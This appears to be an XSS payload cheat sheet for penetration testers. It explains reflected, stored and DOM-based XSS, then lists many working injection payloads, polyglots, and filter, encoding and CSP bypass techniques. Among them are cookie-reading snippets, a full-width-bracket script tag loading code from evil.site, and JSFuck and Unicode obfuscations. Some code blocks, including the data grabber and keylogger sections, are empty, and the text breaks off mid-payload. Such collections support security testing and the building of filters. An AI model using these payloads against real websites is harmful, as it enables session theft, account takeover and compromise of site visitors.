# Cross Site Scripting > Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-side scripts into web pages viewed by other users. ## Summary - [Cross Site Scripting](#cross-site-scripting) - [Vulnerability Details](#vulnerability-details) - [Exploit code or POC](#exploit-code-or-poc) - [Data grabber for XSS](#data-grabber-for-xss) - [CORS](#cors) - [UI redressing](#ui-redressing) - [Javascript keylogger](#javascript-keylogger) - [Other ways](#other-ways) - [Identify an XSS endpoint](#identify-an-xss-endpoint) - [Tools](#tools) - [XSS in HTML/Applications](#xss-in-htmlapplications) - [Common Payloads](#common-payloads) - [XSS using HTML5 tags](#xss-using-html5-tags) - [XSS using a remote JS](#xss-using-a-remote-js) - [XSS in hidden input](#xss-in-hidden-input) - [XSS when payload is reflected capitalized](#xss-when-payload-is-reflected-capitalized) - [DOM based XSS](#dom-based-xss) - [XSS in JS Context](#xss-in-js-context) - [XSS in wrappers javascript and data URI](#xss-in-wrappers-javascript-and-data-uri) - [XSS in files](#xss-in-files) - [XSS in XML](#xss-in-xml) - [XSS in SVG](#xss-in-svg) - [XSS in SVG (short)](#xss-in-svg-short) - [XSS in Markdown](#xss-in-markdown) - [XSS in SWF flash application](#xss-in-swf-flash-application) - [XSS in SWF flash application](#xss-in-swf-flash-application-1) - [XSS in CSS](#xss-in-css) - [XSS in PostMessage](#xss-in-postmessage) - [Blind XSS](#blind-xss) - [XSS Hunter](#xss-hunter) - [Other Blind XSS tools](#other-blind-xss-tools) - [Blind XSS endpoint](#blind-xss-endpoint) - [Tips](#tips) - [Mutated XSS](#mutated-xss) - [Polyglot XSS](#polyglot-xss) - [Filter Bypass and exotic payloads](#filter-bypass-and-exotic-payloads) - [Bypass case sensitive](#bypass-case-sensitive) - [Bypass tag blacklist](#bypass-tag-blacklist) - [Bypass word blacklist with code evaluation](#bypass-word-blacklist-with-code-evaluation) - [Bypass with incomplete html tag](#bypass-with-incomplete-html-tag) - [Bypass quotes for string](#bypass-quotes-for-string) - [Bypass quotes in script tag](#bypass-quotes-in-script-tag) - [Bypass quotes in mousedown event](#bypass-quotes-in-mousedown-event) - [Bypass dot filter](#bypass-dot-filter) - [Bypass parenthesis for string](#bypass-parenthesis-for-string) - [Bypass parenthesis and semi colon](#bypass-parenthesis-and-semi-colon) - [Bypass onxxxx= blacklist](#bypass-onxxxx-blacklist) - [Bypass space filter](#bypass-space-filter) - [Bypass email filter](#bypass-email-filter) - [Bypass document blacklist](#bypass-document-blacklist) - [Bypass document.cookie blacklist](#bypass-document-cookie-blacklist) - [Bypass using javascript inside a string](#bypass-using-javascript-inside-a-string) - [Bypass using an alternate way to redirect](#bypass-using-an-alternate-way-to-redirect) - [Bypass using an alternate way to execute an alert](#bypass-using-an-alternate-way-to-execute-an-alert) - [Bypass ">" using nothing](#bypass--using-nothing) - [Bypass "<" and ">" using ＜ and ＞](#bypass--and--using--and-) - [Bypass ";" using another character](#bypass--using-another-character) - [Bypass using missing charset header](#bypass-using-missing-charset-header) - [Bypass using HTML encoding](#bypass-using-html-encoding) - [Bypass using Katakana](#bypass-using-katakana) - [Bypass using Cuneiform](#bypass-using-cuneiform) - [Bypass using Lontara](#bypass-using-lontara) - [Bypass using ECMAScript6](#bypass-using-ecmascript6) - [Bypass using Octal encoding](#bypass-using-octal-encoding) - [Bypass using Unicode](#bypass-using-unicode) - [Bypass using UTF-7](#bypass-using-utf-7) - [Bypass using UTF-8](#bypass-using-utf-8) - [Bypass using UTF-16be](#bypass-using-utf-16be) - [Bypass using UTF-32](#bypass-using-utf-32) - [Bypass using BOM](#bypass-using-bom) - [Bypass using weird encoding or native interpretation](#bypass-using-weird-encoding-or-native-interpretation) - [Bypass using jsfuck](#bypass-using-jsfuck) - [CSP Bypass](#csp-bypass) - [Bypass CSP using JSONP](#bypass-csp-using-jsonp) - [Bypass CSP default-src](#bypass-csp-default-src) - [Bypass CSP inline eval](#bypass-csp-inline-eval) - [Bypass CSP unsafe-inline](#bypass-csp-unsafe-inline) - [Bypass CSP script-src self](#bypass-csp-script-src-self) - [Bypass CSP script-src data](#bypass-csp-script-src-data) - [Bypass CSP nonce](#bypass-csp-nonce) - [Bypass CSP header sent by PHP](#bypass-csp-header-sent-by-php) - [References](#references) ## Vulnerability Details Cross-Site Scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS allows attackers to inject malicious code into a website, which is then executed in the browser of anyone who visits the site. This can allow attackers to steal sensitive information, such as user login credentials, or to perform other malicious actions. There are 3 main types of XSS attacks: * **Reflected XSS**: In a reflected XSS attack, the malicious code is embedded in a link that is sent to the victim. When the victim clicks on the link, the code is executed in their browser. For example, an attacker could create a link that contains malicious JavaScript, and send it to the victim in an email. When the victim clicks on the link, the JavaScript code is executed in their browser, allowing the attacker to perform various actions, such as stealing their login credentials. * **Stored XSS**: In a stored XSS attack, the malicious code is stored on the server, and is executed every time the vulnerable page is accessed. For example, an attacker could inject malicious code into a comment on a blog post. When other users view the blog post, the malicious code is executed in their browsers, allowing the attacker to perform various actions. * **DOM-based XSS**: is a type of XSS attack that occurs when a vulnerable web application modifies the DOM (Document Object Model) in the user's browser. This can happen, for example, when a user input is used to update the page's HTML or JavaScript code in some way. In a DOM-based XSS attack, the malicious code is not sent to the server, but is instead executed directly in the user's browser. This can make it difficult to detect and prevent these types of attacks, because the server does not have any record of the malicious code. To prevent XSS attacks, it is important to properly validate and sanitize user input. This means ensuring that all input meets the necessary criteria, and removing any potentially dangerous characters or code. It is also important to escape special characters in user input before rendering it in the browser, to prevent the browser from interpreting it as code. ## Exploit code or POC ### Data grabber for XSS Obtains the administrator cookie or sensitive access token, the following payload will send it to a controlled page. ```html ``` Write the collected data into a file. ```php ``` ### CORS ```html ``` ### UI redressing Leverage the XSS to modify the HTML content of the page in order to display a fake login form. ```html ``` ### Javascript keylogger Another way to collect sensitive data is to set a javascript keylogger. ```javascript ``` ### Other ways More exploits at [http://www.xss-payloads.com/payloads-list.html?a#category=all](http://www.xss-payloads.com/payloads-list.html?a#category=all): - [Taking screenshots using XSS and the HTML5 Canvas](https://www.idontplaydarts.com/2012/04/taking-screenshots-using-xss-and-the-html5-canvas/) - [JavaScript Port Scanner](http://www.gnucitizen.org/blog/javascript-port-scanner/) - [Network Scanner](http://www.xss-payloads.com/payloads/scripts/websocketsnetworkscan.js.html) - [.NET Shell execution](http://www.xss-payloads.com/payloads/scripts/dotnetexec.js.html) - [Redirect Form](http://www.xss-payloads.com/payloads/scripts/redirectform.js.html) - [Play Music](http://www.xss-payloads.com/payloads/scripts/playmusic.js.html) ## Identify an XSS endpoint This payload opens the debugger in the developer console rather than triggering a popup alert box. ```javascript ``` Modern applications with content hosting can use [sandbox domains][sandbox-domains] > to safely host various types of user-generated content. Many of these sandboxes are specifically meant to isolate user-uploaded HTML, JavaScript, or Flash applets and make sure that they can't access any user data. [sandbox-domains]:https://security.googleblog.com/2012/08/content-hosting-for-modern-web.html For this reason, it's better to use `alert(document.domain)` or `alert(window.origin)` rather than `alert(1)` as default XSS payload in order to know in which scope the XSS is actually executing. Better payload replacing ``: ```html ``` While `alert()` is nice for reflected XSS it can quickly become a burden for stored XSS because it requires to close the popup for each execution, so `console.log()` can be used instead to display a message in the console of the developer console (doesn't require any interaction). Example: ```html ``` References: - [Google Bughunter University - XSS in sandbox domains](https://sites.google.com/site/bughunteruniversity/nonvuln/xss-in-sandbox-domain) - [LiveOverflow Video - DO NOT USE alert(1) for XSS](https://www.youtube.com/watch?v=KHwVjzWei1c) - [LiveOverflow blog post - DO NOT USE alert(1) for XSS](https://liveoverflow.com/do-not-use-alert-1-in-xss/) ### Tools Most tools are also suitable for blind XSS attacks: * [XSSStrike](https://github.com/s0md3v/XSStrike): Very popular but unfortunately not very well maintained * [xsser](https://github.com/epsylon/xsser): Utilizes a headless browser to detect XSS vulnerabilities * [Dalfox](https://github.com/hahwul/dalfox): Extensive functionality and extremely fast thanks to the implementation in Go * [XSpear](https://github.com/hahwul/XSpear): Similar to Dalfox but based on Ruby * [domdig](https://github.com/fcavallarin/domdig): Headless Chrome XSS Tester ## XSS in HTML/Applications ### Common Payloads ```javascript // Basic payload ipt>alert('XSS')ipt> "> "> //parseInt("confirm",30) == 8680439 && 8680439..toString(30) == "confirm" // Img payload xss "> "> <> // Svg payload "> ">(`Firefox` is the only browser which allows self closing script)
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``` ### XSS using HTML5 tags ```javascript \x3csVg/\x3e ``` Polyglot XSS - Ashar Javed ```javascript ">>" ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm&lpar; 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg"> ``` Polyglot XSS - Mathias Karlsson ```javascript " onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)// ``` Polyglot XSS - Rsnake ```javascript ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT> ``` Polyglot XSS - Daniel Miessler ```javascript ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> “ onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)// '">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm&lpar;1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http://i.imgur.com/P8mL8.jpg"> javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/* javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/ javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/* javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/* javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()// javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/* --></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/* /</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/* javascript://--></title></style></textarea></script><svg "//' onclick=alert()// /</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/* ``` Polyglot XSS - [@s0md3v](https://twitter.com/s0md3v/status/966175714302144514) ![https://pbs.twimg.com/media/DWiLk3UX4AE0jJs.jpg](https://pbs.twimg.com/media/DWiLk3UX4AE0jJs.jpg) ```javascript -->'"/></sCript><svG x=">" onload=(co\u006efirm)``> ``` ![https://pbs.twimg.com/media/DWfIizMVwAE2b0g.jpg:large](https://pbs.twimg.com/media/DWfIizMVwAE2b0g.jpg:large) ```javascript <svg%0Ao%00nload=%09((pro\u006dpt))()// ``` Polyglot XSS - from [@filedescriptor's Polyglot Challenge](http://polyglot.innerht.ml) ```javascript # by crlf javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//> # by europa javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/-->&lt;svg/onload=/*<html/*/onmouseover=alert()//> # by EdOverflow javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>-->&lt;svg onload=/*<html/*/onmouseover=alert()//> # by h1/ragnar javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template>&lt;svg/onload='/*--><html */ onmouseover=alert()//'>` ``` Polyglot XSS - from [brutelogic](https://brutelogic.com.br/blog/building-xss-polyglots/) ```javascript JavaScript://%250Aalert?.(1)//'/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!--></Title/</Style/</Script/</textArea/</iFrame/</noScript>\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\76--> ``` ## Filter Bypass and exotic payloads ### Bypass case sensitive ```javascript <sCrIpt>alert(1)</ScRipt> ``` ### Bypass tag blacklist ```javascript <script x> <script x>alert('XSS')<script y> ``` ### Bypass word blacklist with code evaluation ```javascript eval('ale'+'rt(0)'); Function("ale"+"rt(1)")(); new Function`al\ert\`6\``; setTimeout('ale'+'rt(2)'); setInterval('ale'+'rt(10)'); Set.constructor('ale'+'rt(13)')(); Set.constructor`al\x65rt\x2814\x29```; ``` ### Bypass with incomplete html tag Works on IE/Firefox/Chrome/Safari ```javascript <img src='1' onerror='alert(0)' < ``` ### Bypass quotes for string ```javascript String.fromCharCode(88,83,83) ``` ### Bypass quotes in script tag ```javascript http://localhost/bla.php?test=</script><script>alert(1)</script> <html> <script> <?php echo 'foo="text '.$_GET['test'].'";';`?> </script> </html> ``` ### Bypass quotes in mousedown event You can bypass a single quote with &#39; in an on mousedown event handler ```javascript <a href="" onmousedown="var name = '&#39;;alert(1)//'; alert('smthg')">Link</a> ``` ### Bypass dot filter ```javascript <script>window['alert'](document['domain'])</script> ``` Convert IP address into decimal format: IE. `http://192.168.1.1` == `http://3232235777` http://www.geektools.com/cgi-bin/ipconv.cgi ```javascript <script>eval(atob("YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="))<script> ``` Base64 encoding your XSS payload with Linux command: IE. `echo -n "alert(document.cookie)" | base64` == `YWxlcnQoZG9jdW1lbnQuY29va2llKQ==` ### Bypass parenthesis for string ```javascript alert`1` setTimeout`alert\u0028document.domain\u0029`; ``` ### Bypass parenthesis and semi colon ```javascript // From @garethheyes <script>onerror=alert;throw 1337</script> <script>{onerror=alert}throw 1337</script> <script>throw onerror=alert,'some string',123,'haha'</script> // From @terjanq <script>throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]</script> // From @cgvwzq <script>TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']</script> ``` ### Bypass onxxxx= blacklist ```javascript <object onafterscriptexecute=confirm(0)> <object onbeforescriptexecute=confirm(0)> // Bypass onxxx= filter with a null byte/vertical tab <img src='1' onerror\x00=alert(0) /> <img src='1' onerror\x0b=alert(0) /> // Bypass onxxx= filter with a '/' <img src='1' onerror/=alert(0) /> ``` ### Bypass space filter ```javascript // Bypass space filter with "/" <img/src='1'/onerror=alert(0)> // Bypass space filter with 0x0c/^L <svg onload = alert(1) > $ echo "<svg^Lonload^L=^Lalert(1)^L>" | xxd 00000000: 3c73 7667 0c6f 6e6c 6f61 640c 3d0c 616c <svg.onload.=.al 00000010: 6572 7428 3129 0c3e 0a ert(1).>. ``` ### Bypass email filter * [RFC0822 compliant](http://sphinx.mythic-beasts.com/~pdw/cgi-bin/emailvalidate) ```javascript "><svg/onload=confirm(1)>"@x.y ``` * [RFC5322 compliant](https://0dave.ch/posts/rfc5322-fun/) ```javascript xss@example.com(<img src='x' onerror='alert(document.location)'>) ``` ### Bypass tel URI filter At least 2 RFC mention the `;phone-context=` descriptor: * [RFC3966 - The tel URI for Telephone Numbers](https://www.ietf.org/rfc/rfc3966.txt) * [RFC2806 - URLs for Telephone Calls](https://www.ietf.org/rfc/rfc2806.txt) ```javascript +330011223344;phone-context=<script>alert(0)</script> ``` ### Bypass document blacklist ```javascript <div id = "x"></div><script>alert(x.parentNode.parentNode.parentNode.location)</script> window["doc"+"ument"] ``` ### Bypass document.cookie blacklist This is another way to access cookies on Chrome, Edge, and Opera. Replace COOKIE NAME with the cookie you are after. You may also investigate the getAll() method if that suits your requirements. ``` window.cookieStore.get('COOKIE NAME').then((cookieValue)=>{alert(cookieValue.value);}); ``` ### Bypass using javascript inside a string ```javascript <script> foo="text </script><script>alert(1)</script>"; </script> ``` ### Bypass using an alternate way to redirect ```javascript location="http://google.com" document.location = "http://google.com" document.location.href="http://google.com" window.location.assign("http://google.com") window['location']['href']="http://google.com" ``` ### Bypass using an alternate way to execute an alert From [@brutelogic](https://twitter.com/brutelogic/status/965642032424407040) tweet. ```javascript window['alert'](0) parent['alert'](1) self['alert'](2) top['alert'](3) this['alert'](4) frames['alert'](5) content['alert'](6) [7].map(alert) [8].find(alert) [9].every(alert) [10].filter(alert) [11].findIndex(alert) [12].forEach(alert); ``` From [@theMiddle](https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables/) - Using global variables The Object.keys() method returns an array of a given object's own property names, in the same order as we get with a normal loop. That's means that we can access any JavaScript function by using its **index number instead the function name**. ```javascript c=0; for(i in self) { if(i == "alert") { console.log(c); } c++; } // 5 ``` Then calling alert is : ```javascript Object.keys(self)[5] // "alert" self[Object.keys(self)[5]]("1") // alert("1") ``` We can find "alert" with a regular expression like ^a[rel]+t$ : ```javascript a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}} //bind function alert on new function a() // then you can use a() with Object.keys self[Object.keys(self)[a()]]("1") // alert("1") ``` Oneliner: ```javascript a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}};self[Object.keys(self)[a()]]("1") ``` From [@quanyang](https://twitter.com/quanyang/status/1078536601184030721) tweet. ```javascript prompt`${document.domain}` document.location='java\tscript:alert(1)' document.location='java\rscript:alert(1)' document.location='java\tscript:alert(1)' ``` From [@404death](https://twitter.com/404death/status/1011860096685502464) tweet. ```javascript eval('ale'+'rt(0)'); Function("ale"+"rt(1)")(); new Function`al\ert\`6\``; constructor.constructor("aler"+"t(3)")(); [].filter.constructor('ale'+'rt(4)')(); top["al"+"ert"](5); top[8680439..toString(30)](7); top[/al/.source+/ert/.source](8); top['al\x65rt'](9); open('java'+'script:ale'+'rt(11)'); location='javascript:ale'+'rt(12)'; setTimeout`alert\u0028document.domain\u0029`; setTimeout('ale'+'rt(2)'); setInterval('ale'+'rt(10)'); Set.constructor('ale'+'rt(13)')(); Set.constructor`al\x65rt\x2814\x29```; ``` Bypass using an alternate way to trigger an alert ```javascript var i = document.createElement("iframe"); i.onload = function(){ i.contentWindow.alert(1); } document.appendChild(i); // Bypassed security XSSObject.proxy = function (obj, name, report_function_name, exec_original) { var proxy = obj[name]; obj[name] = function () { if (exec_original) { return proxy.apply(this, arguments); } }; XSSObject.lockdown(obj, name); }; XSSObject.proxy(window, 'alert', 'window.alert', false); ``` ### Bypass ">" using nothing You don't need to close your tags. ```javascript <svg onload=alert(1)// ``` ### Bypass "<" and ">" using ＜ and ＞ Unicode Character U+FF1C and U+FF1E ```javascript ＜script/src=//evil.site/poc.js＞ ``` ### Bypass ";" using another character ```javascript 'te' * alert('*') * 'xt'; 'te' / alert('/') / 'xt'; 'te' % alert('%') % 'xt'; 'te' - alert('-') - 'xt'; 'te' + alert('+') + 'xt'; 'te' ^ alert('^') ^ 'xt'; 'te' > alert('>') > 'xt'; 'te' < alert('<') < 'xt'; 'te' == alert('==') == 'xt'; 'te' & alert('&') & 'xt'; 'te' , alert(',') , 'xt'; 'te' | alert('|') | 'xt'; 'te' ? alert('ifelsesh') : 'xt'; 'te' in alert('in') in 'xt'; 'te' instanceof alert('instanceof') instanceof 'xt'; ``` ### Bypass using missing charset header **Requirements**: * Server header missing `charset`: `Content-Type: text/html` #### ISO-2022-JP ISO-2022-JP uses escape characters to switch between several character sets. | Escape | Encoding | |-----------|-----------------| | `\x1B (B` | ASCII | | `\x1B (J` | JIS X 0201 1976 | | `\x1B $@` | JIS X 0208 1978 | | `\x1B $B` | JIS X 0208 1983 | Using the [code table](https://en.wikipedia.org/wiki/JIS_X_0201#Codepage_layout), we can find multiple characters that will be transformed when switching from **ASCII** to **JIS X 0201 1976**. | Hex | ASCII | JIS X 0201 1976 | | ---- | --- | --- | | 0x5c | `\` | `¥` | | 0x7e | `~` | `‾` | **Example** Use `%1b(J` to force convert a `\'` (ascii) in to `¥'` (JIS X 0201 1976), unescaping the quote. Payload: `search=%1b(J&lang=en";alert(1)//` ### Bypass using HTML encoding ```javascript %26%2397;lert(1) &#97;&#108;&#101;&#114;&#116; ></script><svg onload=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B(document.domain)> ``` ### Bypass using Katakana Using the [Katakana](https://github.com/aemkei/katakana.js) library. ```javascript javascript:([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')() ``` ### Bypass using Cuneiform ```javascript 𒀀='',𒉺=!𒀀+𒀀,𒀃=!𒉺+𒀀,𒇺=𒀀+{},𒌐=𒉺[𒀀++], 𒀟=𒉺[𒈫=𒀀],𒀆=++𒈫+𒀀,𒁹=𒇺[𒈫+𒀆],𒉺[𒁹+=𒇺[𒀀] +(𒉺.𒀃+𒇺)[𒀀]+𒀃[𒀆]+𒌐+𒀟+𒉺[𒈫]+𒁹+𒌐+𒇺[𒀀] +𒀟][𒁹](𒀃[𒀀]+𒀃[𒈫]+𒉺[𒀆]+𒀟+𒌐+"(𒀀)")() ``` ### Bypass using Lontara ```javascript ᨆ='',ᨊ=!ᨆ+ᨆ,ᨎ=!ᨊ+ᨆ,ᨂ=ᨆ+{},ᨇ=ᨊ[ᨆ++],ᨋ=ᨊ[ᨏ=ᨆ],ᨃ=++ᨏ+ᨆ,ᨅ=ᨂ[ᨏ+ᨃ],ᨊ[ᨅ+=ᨂ[ᨆ]+(ᨊ.ᨎ+ᨂ)[ᨆ]+ᨎ[ᨃ]+ᨇ+ᨋ+ᨊ[ᨏ]+ᨅ+ᨇ+ᨂ[ᨆ]+ᨋ][ᨅ](ᨎ[ᨆ]+ᨎ[ᨏ]+ᨊ[ᨃ]+ᨋ+ᨇ+"(ᨆ)")() ``` More alphabets on http://aem1k.com/aurebesh.js/# ### Bypass using ECMAScript6 ```html <script>alert&DiacriticalGrave;1&DiacriticalGrave;</script> ``` ### Bypass using Octal encoding ```javascript javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' ``` ### Bypass using Unicode ```javascript Unicode character U+FF1C FULLWIDTH LESS­THAN SIGN (encoded as %EF%BC%9C) was transformed into U+003C LESS­THAN SIGN (<) Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was transformed into U+0022 QUOTATION MARK (") Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was transformed into U+0027 APOSTROPHE (') E.g : http://www.example.net/something%CA%BA%EF%BC%9E%EF%BC%9Csvg%20onload=alert%28/XSS/%29%EF%BC%9E/ %EF%BC%9E becomes > %EF%BC%9C becomes < ``` Bypass using Unicode converted to uppercase ```javascript İ (%c4%b0).toLowerCase() => i ı (%c4%b1).toUpperCase() => I ſ (%c5%bf) .toUpperCase() => S K (%E2%84%AA).toLowerCase() => k <ſvg onload=... > become <SVG ONLOAD=...> <ıframe id=x onload=>.toUpperCase() become <IFRAME ID=X ONLOAD=> ``` ### Bypass using UTF-7 ```javascript +ADw-img src=+ACI-1+ACI- onerror=+ACI-alert(1)+ACI- /+AD4- ``` ### Bypass using UTF-8 ```javascript < = %C0%BC = %E0%80%BC = %F0%80%80%BC > = %C0%BE = %E0%80%BE = %F0%80%80%BE ' = %C0%A7 = %E0%80%A7 = %F0%80%80%A7 " = %C0%A2 = %E0%80%A2 = %F0%80%80%A2 " = %CA%BA ' = %CA%B9 ``` ### Bypass using UTF-16be ```javascript %00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E%00 \x00<\x00s\x00v\x00g\x00/\x00o\x00n\x00l\x00o\x00a\x00d\x00=\x00a\x00l\x00e\x00r\x00t\x00(\x00)\x00> ``` ### Bypass using UTF-32 ```js %00%00%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E ``` ### Bypass using BOM Byte Order Mark (The page must begin with the BOM character.) BOM character allows you to override charset of the page ```js BOM Character for UTF-16 Encoding: Big Endian : 0xFE 0xFF Little Endian : 0xFF 0xFE XSS : %fe%ff%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E BOM Character for UTF-32 Encoding: Big Endian : 0x00 0x00 0xFE 0xFF Little Endian : 0xFF 0xFE 0x00 0x00 XSS : %00%00%fe%ff%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E ``` ### Bypass using weird encoding or native interpretation ```javascript <script>\u0061\u006C\u0065\u0072\u0074(1)</script> <img src="1" onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;" /> <iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe> <script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script> <script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(